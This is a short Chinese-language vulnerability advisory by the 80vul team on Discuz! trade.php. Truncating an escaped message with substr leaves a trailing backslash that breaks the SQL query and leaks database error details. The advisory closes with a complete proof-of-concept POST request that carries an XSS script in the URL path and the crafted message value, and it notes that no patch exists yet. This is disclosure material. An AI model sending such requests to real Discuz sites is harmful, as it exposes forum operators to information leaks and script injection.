Discuz! trade.php 数据库'注射' bug

author: 80vul-B
team:http://www.80vul.com

一 分析

文件trade.php:

		$message = trim($message);
		if($message) {
			$message = daddslashes($tradelog['message'], 1)."\t\t\t".$discuz_uid."\t".$discuz_user."\t".$timestamp."\t".nl2br(strip_tags(substr($message, 0, 200)));
		//$message用substr处理了下,取前200个字符
		} else {
			$message = daddslashes($tradelog['message'], 1);
		}

		$db->query("UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE orderid='$orderid'");
		//这个地方$message直接进入sql语句了:)
		showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
	}

把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和\',在经过substr的处理变为199个A和\,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过<Discuz! 数据库错误信息xss bug>进行xss攻击?

二 利用

poc:

POST discuz/trade.php/<script>alert(/xss/)</script>?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312 

三 补丁[fix]

等待官方补丁